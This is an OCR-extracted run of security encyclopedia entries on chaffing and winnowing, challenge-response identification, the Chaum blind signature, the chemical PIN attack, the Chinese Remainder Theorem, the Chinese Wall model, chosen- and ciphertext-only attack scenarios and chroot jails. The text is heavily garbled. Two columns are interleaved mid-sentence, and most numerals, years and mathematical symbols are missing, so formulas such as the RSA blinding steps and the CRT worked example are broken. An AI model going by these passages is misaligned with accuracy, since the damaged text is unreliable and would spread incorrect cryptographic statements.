Like generic fair exchange, two-party protocols either . Zhou J, Gollmann D () A fair non-repudiation protocol. In:
have nonnegligible failure probability or do not guar- Proceedings of IEEE Symposium on Security and Privacy,
antee termination within a fixed time. Early work on Oakland, CA, pp
Chang and Winnowing C
at random. These are the chaff packets, that is, those used
Chang and Winnowing to hide the wheat packets in the stream of packets.
The sender sends all packets (wheat and chaff) inter-
Gerrit Bleumer mingled in any order to the recipient. The recipient fil-
Research and Development, Francotyp Group, ters those packets containing a valid MAC (this is called
Birkenwerder bei Berlin, Germany winnowing), sorts them by packet number, and reassem-
bles the message. An eavesdropper instead could not dis-
tinguish valid from invalid MACs because the required
C
Related Concepts authentication key is only known to the sender and the
Pseudonymity; Unlinkability recipient.
The problem of providing confidentiality by chaffing
and winnowing is based on the eavesdroppers difficulty
Denition
of distinguishing chaff packets from wheat packets. If the
Chaffing and winnowing is an encryption technique using
wheat packets each contain an English sentence, while the
no decryption keys. Although the technique is not efficient,
chaff packets contain random bits, then the eavesdrop-
it is perfectly practical.
per will have no difficulty in detecting the wheat packets.
On the other hand, if each wheat packet contains a sin-
Background gle bit, and there is a chaff packet with the same serial
Chaffing and winnowing introduced by Ron Rivest [] is a number containing the complementary bit, then the eaves-
technique that keeps the contents of transmitted messages dropper will have a very difficult (essentially impossible)
confidential against eavesdroppers without using encryp- task. Being able to distinguish wheat from chaff would
tion. Chaffing and winnowing was meant as a liberal state- require him to break the MAC algorithm and/or know
ment in the debate about cryptographic policy in the s the secret authentication key used to compute the MACs.
as to whether law enforcement should be given authorized With a good MAC algorithm, the eavesdroppers ability to
surreptitious access to the plaintext of encrypted messages. winnow is nonexistent, and the chaffing process provides
The usual approach proposed for such access was key perfect confidentiality of the message contents.
recovery, where law enforcement has a back door that If the eavesdropper is as strong as some law enforce-
enables them to recover the decryption key. Chaffing and ment agency that may monitor the main hubs of the Inter-
winnowing was proposed to obsolete this approach of key net and may even have the power to force a sender to reveal
recovery because it reveals a technique of keeping mes- the authentication key used, then senders could use alter-
sages confidential without using any decryption keys. The native wheat messages instead of chaff. For an intended
chaffing and winnowing technique was not invented for message, the sender composes an innocuous-looking
practical use, but was published as a proof of existence cover message. The intended wheat message is broken into
showing that one can send messages confidentially without packets using the authentication key as described above.
having agreed on a decryption key in the first place. The cover wheat message is also broken into packets using
a second authentication key that may or may not be known
Theory to the recipient. In this way, the sender could use several
A sender using the chaffing technique needs to agree with cover wheat messages for each intended wheat message.
the intended recipient on an authentication mechanism, If the sender is forced to reveal the authentication key
for example, a message authentication code (Mac algo- he used, he could reveal the authentication key of one
rithms) such as HMAC, and needs to establish an authen- of the cover wheat messages. Thus, he could deliberately
tication key with the recipient. In order to send a message, open a transmitted message in several ways. This con-
the sender takes two steps: cept is similar to deniable encryption proposed by Canetti
Authentication: Breaks the message up into packets, num- et al. [].
bers the packets consecutively, and authenticates each In order to reduce the apparent overhead in transmis-
packet with the authentication key. The result is a sequence sion bandwidth, Rivest suggested that the chaffing could
of wheat packets, that is, those making up the intended be done by an Internet Service Provider rather than by the
message. sender himself. The ISP could then multiplex several mes-
Chaffing: Fabricates additional dummy packets indepen- sages, thus using the wheat packets of one message as chaff
dent of the intended packets. Produces invalid MACs for packets of another message and vice versa. He suggested
the dummy packets, for example by choosing their MACs other measures for long messages such that the relative
C Challenge-Response Authentication
number of chaff packets can be made quite small, and the passwords, by ensuring the liveness of the authenticating
extra bandwidth required for transmitting chaff packets entity. In other words, since the submitted authentication
might be insignificant in practice. value is different each time, and dependent upon the chal-
Instead of message authentication codes, senders could lenge value, it is more difficult for an attacker to replay a
also use an undeniable signature scheme, which pro- previous authentication value (Replay Attack).
duces signatures that can only be verified by the intended While it is difficult to pinpoint the first use of
recipients []. challenge-response identification, Diffie and Hellman
indicate that Identify Friend or Foe protocols used by
Recommended Reading pilots after WWII (in which pilots would symmetrically
. Canetti R, Dwork C, Naor M, Ostrovsky R () Deni- encrypt and return a challenge from a radar station in
able encryption. In: Kaliski BS (ed) Advances in cryptol- order to ensure safe passage) motivated their discovery of
ogy: CRYPTO. Lecture notes in computer science, vol
. Springer, Berlin, pp . ftp://theory.lcs.mit.edu/pub/
digital signatures.
tcryptol/-r.ps
. Jakobsson M, Sako K, Impagliazzo R () Designated verifier Theory
proofs and their applications. In: Maurer U (ed) Advances in Challenge-response identification involves a prover (or
cryptology: EUROCRYPT. Lecture notes in computer science, claimant) P authenticating to a verifier (or challenger) V.
. Rivest RL () Chaffing and winnowing: confidentiality with-
Unlike simpler forms of Entity Authentication in which
out encryption. http://theory.lcs.mit.edu/rivest/chaffing.txt P authenticates with only some secret knowledge, such as a
password, P authenticates with a value computed as a func-
tion of both a secret, and a challenge value from V. The
protocol proceeds as follows:
Challenge-Response . P indicates their intention to authenticate to V.
Authentication . V returns a challenge value c to the claimant P.
. P computes the response value r as r = f (c, s) with an
Challenge-Response Identification appropriate function f (), challenge value c, and secret
value s.
The challenge value c is a value that is distinct for
Challenge-Response each run of the protocol, and is sometimes referred to
Identication as a time-variant parameter or a Nonce. There are gener-
ally three possibilities for such a challenge value. Firstly, c
Mike Just could be randomly generated (Random bit generation)
Glasgow Caledonian University, Glasgow, Scotland, UK so that V randomly generates a new challenge at each
authentication attempt from P, thereby requiring some
additional computation for V, but no requirement to main-
Synonyms
tain state. Secondly, c could be a sequence number, in
Challenge-response authentication; Challenge-response
which case V maintains a sequence value corresponding to
protocol; Strong authentication
each prover. At each authentication attempt by P, V would
Related Concepts increment the corresponding sequence number. Thirdly, c
Authentication; Entity Authentication; Identification could be a function of the current time (Time Stamp-
ing). V would not require any additional computation, and
Denition not be required to maintain state, but would require access
Challenge-response identification is a protocol in which an to a reasonably accurate clock. Note that Challenge Ques-
entity authenticates by submitting a value that is dependent tion Authentication uses a similar mechanism in which the
upon both () a secret value, and () a variable challenge challenge questions are presented to a user, who is required
value. to respond with the corresponding answers in order to
successfully authenticate. However, in typical implemen-
Background tations, such questions do not vary with time and serve
Challenge-response identification improves upon sim- more as cues to remind a user of their answers, and not
pler authentication protocols, such as those using only a challenge in the sense described here.
Chaum Blind Signature Scheme C
There are three general techniques that can be used

as the function f () and secret value s. The first is Chaum Blind Signature Scheme
symmetric-key based in which P and V share a priori
a secret key K. The function f () is then a symmetric Gerrit Bleumer
encryption function (Symmetric Cryptosystem), or a Research and Development, Francotyp Group,
Message Authentication Code (MAC Algorithms). Both Birkenwerder bei Berlin, Germany
Kerberos (Kerberos authentication protocol) and the
NeedhamSchroeder Protocols are example protocols
C
Related Concepts
that make use of symmetric-key-based challenge-response Blind Signature
identification.
Alternatively, a public key-based solution may be used. Denition
In this case, P has the private key in a public key cryptosys- The Chaum Blind Signature Scheme [, ], invented by
tem (Public Key Cryptography). V possesses a trusted David Chaum, was the first blind signature scheme
public key that corresponds to Ps private key. In short, proposed in the public literature.
P uses public key techniques (generally based on number-
theoretic security problems) to produce their response as Theory
a function of their private key and the challenge value. For The Chaum Blind Signature Scheme [, ] is based on
example, V might encrypt a challenge value and send the the RSA signature scheme using the fact that RSA is an
encrypted text to P, who would be required to return the automorphism on Zn , the multiplicative group of units
response as the decryption of what they received. In this modulo an RSA integer n = pq, where n is the public mod-
case, the challenge is a ciphertext value and P is required ulus and p,q are safe RSA prime numbers. The tuple (n, e)
to return the correct plaintext. Alternatively, V might ask is the public verifying key, where e is a prime between
P to digitally sign a particular challenge value (Digital and (n) = (p)(q), and the tuple (p, q, d) is the corre-
Signature Schemes). The Schnorr Identification Proto- sponding private key of the signer, where d = e mod(n)
col is an example of public-key-based challenge-response is the signing exponent. The signer computes signatures by
identification. raising the hash value H(m) of a given message m to the
Finally, a Zero Knowledge protocol can be used, dth power modulo n, where H() is a publicly known colli-
where P demonstrates knowledge of a secret value with- sion resistant hash function. A recipient verifies a signature
out revealing any information about this value in an s for message m with respect to the verifying key (n, e) by
information theoretic sense (Information Theory). Such the following equation: se = H(m)(mod n).
protocols typically require a number of rounds (each When a recipient wants to retrieve a blind signature
with its own challenge value) to be executed before suc- for some message m , he chooses a blinding factor b Zn
cessful identification is accepted. and computes the auxiliary message m = be H(m )modn.
After passing m to the signer, the signer computes the
Applications response s = md modn and sends it back to the recipient.
As a form of identification and authentication, challenge- The recipient computes a signature s for the intended mes-
response identification is widely applicable in situations in sage m as follows: s = sb modn. This signature s is valid
which entities need to be identified. for m with respect to the signers public verifying key y
because
Recommended Reading se = (sb )
e
. Diffie W, Hellman ME () New directions in cryptography. e

IEEE Trans Inform Theory IT-(): = (md b )
. Menezes A, van Oorschot PC, Vanstone SA () Handbook of
de e
applied cryptography. CRC Press, Boca Raton, Florida =m b
= mbe
e e
= b H (m ) b
Challenge-Response Protocol = H (m )(mod n) ()

(Note how the above-mentioned automorphism of RSA
Challenge-Response Identification is used in the third rewriting.) It is conjectured that
C Chemical Combinatorial Attack
the Chaum Blind Signature Scheme is secure against a cryptology: AUSCRYPT. Lecture notes in computer science,
one-more-forgery, although this has not been proven vol . Springer, Berlin, pp
. Chaum D, Pedersen TP () Wallet databases with observers.
under standard complexity theoretic assumptions, such
In: Brickell EF (ed) Advances in cryptology: CRYPTO. Lec-
as the assumption that the RSA verification function ture notes in computer science, vol . Springer, Berlin,
is one-way. The fact that the Chaum Blind Signature pp
Scheme has resisted one-more-forgeries for more than . ElGamal T () A public key cryptosystem and a signa-
years led Bellare et al. [] to isolate a nonstan- ture scheme based on discrete logarithms. IEEE Trans Info
Theory ():. http://www.emis.de/MATH- item?.
dard complexity theoretic assumption about RSA signa-
http://www.ams.org/mathscinet- getitem?mr$=$
tures that is sufficient to prove security of the Chaum . Horster P, Michels M, Petersen H () Meta-message recov-
Blind Signature in the random oracle model, that is, ery and meta-blind signature schemes based on the discrete
by abstracting from the properties of any hash function logarithm problem and their applications. In: Pieprzyk J, Safari-
H() chosen. They came up with a class of very strong Naini R (eds) Advances in cryptography: ASIACRYPT.
Lecture notes in computer science, vol . Springer, Berlin, pp
complexity theoretic assumptions about RSA, which

they called the one-more-RSA-inversion assumptions (or . National Institute of Standards and Technology (NIST) ()
problems). Digital signature standard. Federal Information Processing
The Chaum Blind Signature Scheme achieves uncon- Standards Publication (FIPS PUB )
ditional blindness [] (Blind Signature Scheme). That is, . Nyberg K, Rueppel R () A new signature scheme based on
the DSA giving message recovery. In: st ACM conference on
if a signer produces signatures s , . . . , sn for n N mes-
computer and communications security, proceedings, Fairfax,
sages m , . . . , mn chosen by a recipient, and the recipient November . ACM, New York, pp
later shows the resulting n pairs (m , s ), . . . , (mn , sn ) . Pointcheval D () Strengthened security for blind signatures.
in random order to a verifier, then the collaborating signer In: Nyberg K (ed) Advances in cryptology: EUROCRYPT.
and verifier cannot decide with better probability than Lecture notes in computer science, vol . Springer, Berlin,
pp
pure guessing which messagesignature pair (mi , si )(
. Pointcheval D, Stern J () Provably secure blind signature
i n) resulted in which messagesignature pair (mj , sj ) schemes. In: Kim K, Matsumoto T (eds) Advances in cryp-
( j n). tography: ASIACRYPT. Lecture notes in computer science,
Similar to how Chaum leveraged the automorphism vol . Springer, Berlin, pp
underlying the RSA signature scheme to construct a blind . Schnorr C-P () Efficient signature generation by smart
cards. J Cryptol ():
signature scheme, other digital signature schemes have
been turned into blind signature schemes as well: Chaum
and Pedersen [] constructed blind Schnorr signatures
[]. Camenisch et al. [] constructed blind Nyberg
Rueppel signatures [] and blind signatures for a vari- Chemical Combinatorial Attack
ant of DSA []. Horster et al. [] constructed blind
ElGamal digital signatures [], and Pointcheval and Stern David Naccache
[, ] constructed blind versions of certain adaptations of Dpartement dinformatique, Groupe de cryptographie,
Schnorr and GuillouQuisquater signatures. cole normale suprieure, Paris, France

. Bellare M, Namprempre C, Pointcheval D, Semanko M ()
A Chemical Combinatorial Attack consists in depositing
The one-more-RSA inversion problems and the security of on each keyboard key a small ionic salt quantity (e.g., some
Chaums blind signature scheme. In: Syverson PF (ed) Financial NaCl on key , some KCl on key , LiCl on key , SrCl
cryptography . Lecture notes in computer science, vol . on key , BaCl on key , CaCl on key ...). As the user
enters his/her PIN, salts get mixed and leave the keyboard
. Camenisch J, Piveteau J-M, Stadler M () Blind signatures
based on the discrete logarithm problem. In: De Santis A (ed)
in a state that leaks secret information. The later use of
Advances in cryptology: EUROCRYPT. Lecture notes in mass spectroscopic analysis will reveal with accuracy the
computer science, vol . Springer, Berlin, pp mixture of chemical compounds generated by the user, and
. Chaum D () Blind signatures for untraceable payments. In: thereby leak PIN information. For moderate-size decimal
Chaum D, Rivest RL, Sherman AT (eds) Advances in cryptology:
PINs, the attack would generally disclose the PIN. As an
CRYPTO. Plenum, New York, pp
. Chaum D () Showing credentials without identification:
example, the attack will reduce the entropy of a -digit
Transferring signatures between unconditionally unlinkable decimal PIN to . bits and that of a -digit decimal PIN
pseudonyms. In: Seberry J, Pieprzyk J (eds) Advances in to . bits.
Chinese Remainder Theorem C
u i (mod 5)
Experimental Results 33 34
0 1 2 v i (mod 7)
The method, described in by [] was implemented in 32 3 0
31 4 u=4 1
as described in []. 30 5
29 6 3 2
Recommended Reading 28 7
21
0 (mod 7)
27 8 1 (mod 5)
. eprint.iacr.org//.pdf
. Chang K, Fingerprint test tells what a person has touched, A p, 26 9 1 (mod 7)
New York Times, August , 25 10
15
0 (mod 5) C
i = 24 11 0
6 1
23 12
22 13 5 2
21 14
20 15 4 v=3
Chinese Remainder Theorem 19 18 17 16
i 21 u + 15 v (mod 35)
Henk C. A. van Tilborg Chinese Remainder Theorem. Fig. The Chinese Remainder
Department of Mathematics and Computing Science, Theorem reduces a calculation modulo to two calculations,
Eindhoven University of Technology, Eindhoven, one modulo and the other modulo
The Netherlands
Synonyms and the pairs (u, v) with u < and v < . The
CRT mapping from i, i < , to the pair (u, v) is simply
given by the reduction of i modulo and modulo . For
Related Concepts example, is mapped to (, ).
Modular Arithmetic; Number Theory The mapping from (u, v) back to i is given by i
u + v. The multiplier a (mod ) can be obtained
Denition from a (v (mod u)) v, which is the obvious solution
The Chinese Remainder Theorem (CRT) is a technique to of the simultaneous congruence relations a (mod u)
reduce modular calculations with large moduli to similar and a (mod v). The multiplier b (mod ) can
calculations for each of the (mutually co-prime) factors of be determined similarly. It follows that the answer of the
the modulus. computation above is given by + (mod ),
as and are the outcomes of the multiplications modulo
Background resp. .
The first description of the CRT is by the Chinese mathe- To verify this answer, note that the defining properties
matician Sun Zhu in the third century AD. of a and b imply that + + (mod )
and, similarly, + + (mod ). That
Theory there a unique solution modulo of the two congruence
The CRT makes it possible to reduce modular calculations relations x (mod ) and x (mod ) follows from
with large moduli to similar calculations for each of the the fact that with two solutions, say x and y, their difference
factors of the modulus. At the end, the outcomes of the sub- would be divisible by and by , hence by . This means
calculations need to be pasted together to obtain the final that x and y are the same modulo .
answer. The big advantage is immediate: almost all these The CRT can be generalized to more than two factors
calculations involve much smaller numbers. and solves in general system of linear congruence relations
For instance, the multiplication (mod ) can of the form ai x bi (mod mi ), i k, where the greatest
be found from the same multiplication modulo and mod- common divisor of ai and mi should divide bi for each
ulo (see Fig. ), since = and these numbers have i k.
no factor in common. So, the first step is to calculate:
(mod ) Applications
In modern cryptography one can find many applications of
(mod )
the CRT. Exponentiation with the secret exponent d in RSA
The CRT, explained for this example, is based on a (RSA Public-Key Encryption) can be reduced to the two
unique correspondence between the integers , , . . . , prime factors p and q of the modulus n. This even allows for
C Chinese Wall
a second reduction: the exponent d can be reduced modulo Theory

p resp. q because of Fermats Little Theorem. The Chinese Wall policy [] was introduced to balance
Also, when trying to find the discrete logarithm in a commercial discretion with mandatory controls. Unlike
finite group of cardinality n, the CRT is used to reduce this in the Bell and LaPadula model, access to data is
to the various prime powers dividing n (PohligHellman not constrained by the data classifications but by what
in Generic Attacks Against DLP). data the subjects have already accessed. The model is
based on a hierarchical organization of data objects as
follows:
Recommended Reading
. Shapiro HN () Introduction to the theory of numbers. Wiley, basic objects are individual items of information (e.g.,
New York files), each concerning a single corporation.
company datasets define groups of objects that refer to
a same corporation.
conflict of interest classes define company datasets that
Chinese Wall refer to competing corporations.
Figure illustrates an example of object organization
Sabrina De Capitani di Vimercati, Pierangela
where nine objects of four different corporations, namely
Samarati
A, B, C, and D, are maintained. Correspondingly, four
company datasets are defined. The two conflict of interest
classes depicted define the conflicts between A and B, and
between C and D.
Given the object organization as above, the Chinese
Wall policy restricts access according to the following two
Related Concepts properties [].
Discretionary Access Control Policies (DAC);
Mandatory Access Control Policy (MAC) Simple security rule. A subject s can be granted access
to an object o only if the object o:
is in the same company datasets as the objects
Denition already accessed by s, that is, within the Wall, or
The Chinese Wall security policy is a policy designed belongs to an entirely different conflict of interest
for commercial environments whose goal is to pre- class.
vent information flows which cause conflict of interest *-Property. Write access is only permitted if
for individual consultants (e.g., an individual consultant access is permitted by the simple security rule, and
should not have information about two banks or two oil no object can be read which () is in a differ-
companies). ent company dataset than the one for which write
access is requested, and () contains unsanitized
information.
Background
Mandatory policies guarantee better security than The term subject used in the properties is to be inter-
discretionary policies since they can also control indi- preted as user (meaning access restrictions are referred
rect information flows (i.e., mandatory policies enforce to users). The reason for this is that, unlike mandatory
control on the flow of information once this information is policies that control processes, the Chinese Wall policy
acquired by a process). The application of mandatory poli- controls users. It would therefore not make sense to enforce
cies may however result too rigid. For instance, the strict restrictions on processes as a user could be able to acquire
application of the no-read-up and the no-write-down prin- information about organizations that are in conflict of
ciples characterizing the secrecy-based multilevel policies interest simply running two different processes.
may be too restrictive in several scenarios. The Chinese Intuitively, the simple security rule blocks direct infor-
Wall policy aims at combining the mandatory and discre- mation leakages that can be attempted by a single user,
tionary principles with the goal of achieving mandatory while the *-property blocks indirect information leakages
information flow protection without loosing the flexibility that can occur with the collusion of two or more users. For
of discretionary authorizations. instance, with reference to Fig. , an indirect improper flow
Chinese Wall Model C
Conflict of interest class Conflict of interest class
Company A Company B Company C Company D
ObjA-1 ObjA-2 ObjC-1 ObjD-1

ObjB-1 ObjB-2
ObjA-3 ObjC-2 ObjD-2
C
Chinese Wall. Fig. An example of object organization
could happen if, () a user reads information from object

ObjA- and writes it into ObjC-, and subsequently () a Chinese Wall Model
different user reads information from ObjC- and writes it
into ObjB-. Ebru Celikel Cankaya
The application of the Chinese Wall policy still has Department of Computer Science, University of
some limitations. In particular, strict enforcement of the North Texas, Denton, TX, USA
properties may result too rigid and, like for the mandatory
policy, there will be the need for exceptions and support
of sanitization (which is mentioned, but not investigated,
Synonyms
Commercial security model
in []). Also, the enforcement of the policies requires
keeping and querying the history of the accesses. A fur-
ther point to take into consideration is to ensure that the Related Concepts
enforcement of the properties will not block the system Access Control
working. For instance, if in a system with ten users there are
eleven company datasets in a conflict of interest class, one Denition
dataset will remain inaccessible. This aspect was noticed The Chinese Wall model is a security model that concen-
in [], where the authors point out that there must be at trates on confidentiality and finds itself application in the
least as many users as the maximum number of datasets commercial world. The model bases itself on the principles
that appear together in a conflict of interest class. However, defined in the Clark Wilson security model.
while this condition makes the system operation possi-
ble, it cannot ensure it when users are left completely free Background
choice on the datasets they access. For instance, in a sys- The Chinese Wall model was introduced by Brewer and
tem with ten users and ten datasets, again one dataset Nash in . The model was built on the UK stock bro-
may remain inaccessible if two users access the same kerage operations. The stock brokers can be consulted by
dataset. different companies that are in competition. This causes a
conflict of interest, which should be prevented with law-
fully enforceable policies. Similar to the UK brokerage
Applications
system, the Chinese Wall model assumes impenetrable
Although, as already discussed, the Chinese Wall policy
Chinese Walls among company data sets, so that no con-
has some limitations and drawbacks, it represents a good
flict of interest occurs on the same side of the wall. Accord-
example of dynamic separation of duty constraints present
ing to the model, subjects are only granted access to data
in the real world. It has been taken as a reference princi-
that is not in conflict with other data they possess.
ple in the development of several subsequent policies and
The model takes the Clark Wilson integrity model as a
models.
basis to construct the security rules for itself. Similar to the
concepts of constrained data item and unconstrained data
Recommended Reading item categorization and the rule construction in the Clark
. Brewer DFC, Nash MJ () The chinese wall security policy. Wilson model, the Chinese Wall security model defines
In: Proceedings of the IEEE Symposium on Security and Privacy, objects, company datasets, and conflict of interest classes,
Oakland, CA, pp and builds a set of rules on these entities.
C Chinese Wall Model
Theory data from Best CD of the same COI class Stock Broker.
The Chinese Wall model consists of four components: Also assume that subject S has read and write access, and
subject S has read access to the CD named XYZ in Soft-
Objects (O): Data belonging to a company ware Vendors COI class. What can happen is that subject
Company dataset (CD): Consists of individual companies S can read data from Winner CD, write data to XYZ,
Conflict of Interest (COI) class: Contains company then subject S can read data , which he did not have
datasets of companies in competition access to originally.
Subjects (S): People who access objects To prevent this illegitimate transfer of data, the CW- -
In principle, the model implements dynamically changing property is introduced as below:
access rights. CW- -Property: A subject S may write to an object O
An example Chinese Wall model is given in Fig. . iff the following two conditions hold:
According to Fig. , there are two COI classes as Stock A subject S has read permission to read an object O due
Broker and Software Vendor. The Stock Broker COI to CW-simple security condition
class has four CDs as {Winner, Safe, Star, Best}, and objects O , S can read O CD( O ) = CD(O)
the Software Vendor COI class has three CDs as {ABC,
XYZ, LMN}. The set of objects has seven elements as Applications
{data , data , data , data , data , data , data }. The Chinese Wall security model is the commercial world
The Chinese Wall security model can be formulated implementation of what Bell La Padula is to military and
with the following rules: government institutions. The motivation behind is to pre-
CW-Simple Security Condition (Preliminary Version): A vent the flow of information that will cause conflict of
subject S can read an object O if: interest. Information is protected through virtual walls
There is an object O that has been accessed by subject that are created by mandatory security controls. The model
S, and CD( O ) = CD(O) is simple and easy, making it a commonly used security
or provider.
For all objects O , O PR(S) COI( O ) The Chinese Wall model takes dynamically changing
COI(O), where PR(S) is the set of objects that subject access rights into consideration and behaves accordingly.
S has read. This adaptive property makes it more subtle a model than
static security models, such as the Bell La Padula Confi-
CW-Simple Security Condition: A subject S can read an dentiality model.
object O if any of the following holds: The model also finds itself implemented in data mining
applications.
an object O that has been accessed by the subject S,
and CD( O ) = CD(O)
objects O , O PR(S) COI( O ) COI(O) Open Problems and Future Directions
O is a sanitized object, i.e., filtered from sensitive data As is, the Chinese Wall security model relies on the unre-
alistic assumption that company data can be grouped
The read rule described in the CW-simple security condi- into non-overlapping, distinct conflict of interest classes.
tion does not prevent indirect flow of data: Assume that In practice, companies belonging to different conflict of
two subjects S and S are legitimate users in the exam- interest classes can have common data because they may
ple system illustrated above (Fig. ). Suppose S can read possess company shares in each others field of operation.
object data from Winner CD, and S can read object These shares may cause conflicting benefits, such as profit,
Stock Broker COI class Software Vendor COI class
Winner ABC XYZ

Safe
data1 data5 data6
data2
Star
data3 Best LMN
data4 data7
Chinese Wall Model. Fig. The Chinese Wall model illustration

Chosen Plaintext Attack C
brand name, etc. So, distinct but overlapping conflict of ciphertext attacks. A cipher may be vulnerable to one
interest classes are probable. attack but not to the other attack or the other way around.
A further extension of the Chinese Wall security model Chosen ciphertext attack is a very important scenario in
is introduced to eradicate the problem of overlapping con- public key cryptography, where known plaintext and
flict of interest classes. This extended model is called the even chosen plaintext scenarios are always available to
Aggressive Chinese Wall Security Policy (ACWSP), which the attacker due to publicly known encryption key. For
replaces the Conflict of Interest Class with a Generalized example, the RSA public-key encryption system is not
Conflict of Interest Class (GCIR). The GCIR is the reflexive secure against adaptive chosen ciphertext attack [].
C
transitive closure of the original Conflict of Interest class.
Recommended Reading
Recommended Reading . Bleichenbacher D () Chosen ciphertext attacks against proto-
. Bishop M, Bhumiratana B, Crawford R, Levitt K () How to cols based on the RSA encryption standard PKCS #. In: Krawczyk
sanitize data. In: th IEEE international workshops on enabling H (ed) Advances in cryptology CRYPTO. Lecture notes in
technologies: infrastructure for collaborative enterprises (WET computer science, vol . Springer, Berlin, pp
ICE), Modena, Italy
. Brewer DFC, Nash MJ () The Chinese wall security policy.
IEEE Symposium on Security and Privacy, Oakland, CA
. Kayem AVDM, Akl SG, Martin P () Adaptive cryptographic
access control, Springer-Verlag, New York
Chosen Plaintext and Chosen
. Lin TY () Chinese wall security policy-an aggressive Ciphertext Attack
model. In: th annual computer security applications conference,
Tuscon, AZ Alex Biryukov
. Sandhu RS () A lattice interpretation of the Chinese wall FDEF, Campus Limpertsberg, University of Luxembourg,
policy. In: th national computer security conference, Balti-
more, MD
Luxembourg
Related Concepts
Block Ciphers; Symmetric Cryptosystem
Chip Card
Denition
Smart Card In this attack, the attacker is allowed to combine the
chosen plaintext attack and chosen ciphertext attack
together and to issue chosen queries both to the encryption
and to the decryption functions.
Chosen Ciphertext Attack
Alex Biryukov
FDEF, Campus Limpertsberg, University of Luxembourg, Chosen Plaintext Attack
Luxembourg
Alex Biryukov
Related Concepts FDEF, Campus Limpertsberg, University of Luxembourg,
Block Ciphers; Public Key Cryptography; Symmetric Luxembourg
Cryptosystem
Related Concepts
Denition Block Ciphers; Digital Signature Schemes; MAC
Chosen ciphertext attack is a scenario in which the
algorithms; Public Key Cryptography; Symmetric
attacker has the ability to choose ciphertexts Ci and to
Cryptosystem
view their corresponding decryptions plaintexts Pi . It
is essentially the same scenario as a chosen plaintext
attack but applied to a decryption function, instead of Denition
the encryption function. The attack is considered to be Chosen plaintext attack is a scenario in which the attacker
less practical in real-life situations than chosen plain- has the ability to choose plaintexts Pi and to view their
text attacks. However, there is no direct correspondence corresponding encryptions ciphertexts Ci . This attack
between complexities of chosen plaintext and chosen is considered to be less practical than the known
C Chosen Prex Attack
plaintext attack, but is still a very dangerous attack. If Related Concepts

the cipher is vulnerable to a known plaintext attack, it is Sandbox; Virtual Machine
automatically vulnerable to a chosen plaintext attack as
well, but not necessarily the opposite. In modern cryptog- Denition
raphy, differential cryptanalysis is a typical example of a A Chroot Jail is a UNIX-like construct which limits a
chosen plaintext attack. It is also a rare technique for which processs visibility to a particular section of the filesystem.
conversion from chosen plaintext to known plaintext is
possible (due to its work with pairs of texts). Background
The chroot system call dates back before the UNIX .
Theory Berkeley System Distribution in []. This system call
If a chosen plaintext differential attack uses m pairs of was originally developed to provide an isolated file system
texts for an n bit block cipher, then it can be converted hierarchy for building and testing software releases. Subse-

to a known-plaintext attack which will require n/ m quently in the s, the call became popular as a security
known plaintexts, due to birthday paradox-like argu- defense mechanism for isolating processes by limiting their
ments. Furthermore, as shown in [] the factor n/ may be filesystem exposure.
considerably reduced if the known plaintexts are redun-
dant (e.g., for the case of ASCII encoded English text to Theory
about (nr)/ where r is redundancy of the text), which A Chroot Jail is created under UNIX-like operating sys-
may even lead to a conversion of differential chosen- tems by using the chroot system call to change the
plaintext attack into a differential ciphertext-only attack. effective root directory of a process to a particular sub-
directory in the original system. Figure shows a possi-
ble Chroot Jail within a user home directory. A process
Recommended Reading
enters this Chroot Jail by using the chroot system call
. Biryukov A, Kushilevitz E () From differential cryptanaly-
sis to ciphertext-only attacks. In: Krawczyk H (ed) Advances in
chroot(/home/user/chrootdir). Once this change takes
cryptology CRYPTO. Lecture notes in computer science, vol place, the new root directory, becomes the starting point
. Springer, Berlin, pp for file names beginning with a /. Files which do not
reside within this newly rooted filesystem hierarchy, or
Chroot Jail, cannot be accessed by the process using their
filename.
Chosen Prex Attack Processes executing within a Chroot Jail have also
modified their location of various important system files.
Correcting-Block Attack These files such as /etc/password are no longer accessed rel-
ative to the system-wide root directory, but are accessed
relative to the new starting point for /. This new location
may not be a secure location. Therefore, the chroot system
Chromosome call must be limited to the administrator of a UNIX-like
system. Otherwise a process could exploit this behavior for
DNA privilege escalation.
Even though a process within a Chroot Jail cannot
access files outside of the jail directly by their file name,
a process within a Chroot Jail can still impact global aspects
Chroot Jail of the system []. For instance, any files opened prior to
the chroot system call are still available to the process. Also
Lee D. McFearin hard links from within the Chroot Jail to files outside the
Department of Computer Science and Engineering, Chroot Jail will be accessible. Soft links, however, will fail
Southern Methodist University, Dallas, TX, USA as they are interpreted as a file name and will use the new
starting location for /.
After chroot has been called, subsequent calls to chroot
Synonyms usually do not create a Chroot Jail within a Chroot Jail.
Chroot prison Instead, they replace the previous Chroot Jail with the new
Ciphertext-Only Attack C
/
/ bin / etc / home / tmp /usr /var
/ home/user1 / home/user2
/home/user2/files / home/user2/chrootdir
C
/
/ bin / etc / home / tmp
Chroot Jail. Fig. A Chroot Jail in users home directory
one. Since this new root directory is specified by its file

name, it must reside within the previous Chroot Jail, but Ciphertext-Only Attack
the previous Chroot Jail is lost. This behavior coupled with
the behavior of previously opened files have led to well- Alex Biryukov
known exploits limiting the capabilities of a Chroot Jail FDEF, Campus Limpertsberg, University of Luxembourg,
to isolate a process which is running with administrator Luxembourg
privileges [].
Applications Related Concepts

Block Ciphers; Stream Cipher; Symmetric Cryptosys-
A Chroot Jail can facilitate the software development pro-
tem
cess. It allows particular versions of software development
tools to be maintained along with the application software
under configuration management. At compile time, both
the development tools and the application software are
Denition
then placed inside a new build directory. A chroot to that The ciphertext-only attack scenario assumes that the
directory then ensures that only those tools under configu- attacker has only passive capability to listen to the
encrypted communication. The attacker thus only knows
ration management and within the Chroot Jail are accessed
during the software building process. ciphertexts Ci , i = , . . . , N but not the corresponding
Chroot Jails are also used to limit the exposure of plaintexts. He may however rely on certain redundancy
untrusted processes within a system. assumptions about the plaintexts, for example, that the
plaintext is ASCII encoded English text. This scenario is
the weakest in terms of capabilities of the attacker, and thus
Recommended Reading it is the most practical in real life applications. In certain
. chroot() Manual Page; UNIX Programmers Manual, th cases, conversion of a known plaintext attack [] or even
Berkeley Distribution, July chosen plaintext attack [] into a ciphertext-only attack is
. Simes () How to break out of a chroot() jail. http://www.bpfh.
possible.
net/simes/computing/chroot- break.html, published on May ,
. Accessed Jan
. Viega J, McGraw G () Building secure software: how to
avoid security problems the right way. Addison-Wesley, Reading, Recommended Reading
pp . Biryukov A, Kushilevitz E () From differential cryptanaly-
sis to ciphertext-only attacks. In: Krawczyk H (ed) Advances in
cryptology CRYPTO. Lecture notes in computer science, vol
. Matsui M () Linear cryptanalysis method for DES cipher.
Chroot Prison In: Helleseth T (ed) Advances in cryptology EUROCRYPT.
